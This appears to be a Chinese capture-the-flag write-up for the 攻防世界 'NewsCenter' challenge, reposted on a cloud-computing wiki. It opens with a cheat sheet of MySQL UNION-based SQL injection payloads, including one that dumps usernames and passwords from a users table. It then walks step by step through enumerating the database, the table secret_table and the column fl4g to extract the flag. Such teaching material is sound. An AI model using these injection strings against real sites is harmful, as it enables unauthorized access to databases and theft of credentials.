云计算百科
云计算领域专业知识百科平台

攻防世界-NewsCenter-胎教版wp

前言

  • 考点:SQL注入—联合查询注入
  • Union 常用函数:
    – database():返回当前数据库名
    – user():返回当前数据库用户
    – version():返回数据库版本
    – @@datadir:返回数据库数据目录路径
    – a.order by 判断当前表字段个数 ,形式 order by 数字 –+ ,若有回显则说明存在,无回显则说明不存在
    – b.判断显示位:
    – 如果使用order by判断出来有三列,则输入?id=-1’ union select 1,2,3–+,回显为哪个数字名字就将该数字位置替换为其他语句
    – c.爆当前数据库名字:
    – TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME分别对应表所在库名,表名和字段名
    – ?id=-1' union select 1,2,database() –+,database()为获取当前数据库名
    – d.爆当前数据库中的表:
    – ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) –+
    – group_concat(table_name) 是 MySQL 中的一个聚合函数,作用是将分组查询中某一列(这里是 table_name)的多个值连接成一个字符串并返回。
    – from information_schema.tables:从数据库系统表中查询,information_schema是 MySQL 等数据库中存储元数据的系统数据库
    – where table_schema=database():筛选当前数据库中的表
    – e.爆字段:
    – ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' )–+
    – Users根据具体爆出表名可变
    – f.爆数据:?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users –+
    – 联合注入结束
  • Group_concat()函数用来将表中某一列的所有值连成一行来展示,当需要一行展示的时候使用,多行展示时不用

解题步骤

  • 1.判断存在SQL注入:
    • 在输入框内输入1,得到页面回显正常
      在这里插入图片描述
    • 再尝试输入 1',页面报错
      在这里插入图片描述
    • 即页面存在SQL注入漏洞
  • 2.输入 1 and 1=2 页面未报错,证明为字符型漏洞
    在这里插入图片描述
  • 3.判断列数:
    • 输入 -1' order by 3# 页面未报错,将3改成4,页面报错,无法运行,证明表内有三列
  • 4.判断显示位:
    • 输入 -1' union select 1,2,3# 页面回显2,3 ,证明显示位为2,3
      在这里插入图片描述
  • 5.爆库:
    • 输入 -1' union select 1,2,database()# 得到回显,库名为news
      在这里插入图片描述
  • 6.爆表:
    • 输入-1' union select 1,2,table_name from information_schema.tables where table_schema='news'# ,得到表名为news 和 secret_table,我们猜测flag在secret_table中
      在这里插入图片描述
  • 7.爆字段:
    • -1' union select 1,2,column_name from information_schema.columns where table_schema='news' and table_name='secret_table'# 得到其中存在字段id和fl4g flag应该存在在fl4g中
      在这里插入图片描述
  • 8.爆数据:
    • -1' union select 1,id,fl4g from secret_table# 得到flag
      在这里插入图片描述
赞(0)
未经允许不得转载:网硕互联帮助中心 » 攻防世界-NewsCenter-胎教版wp
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!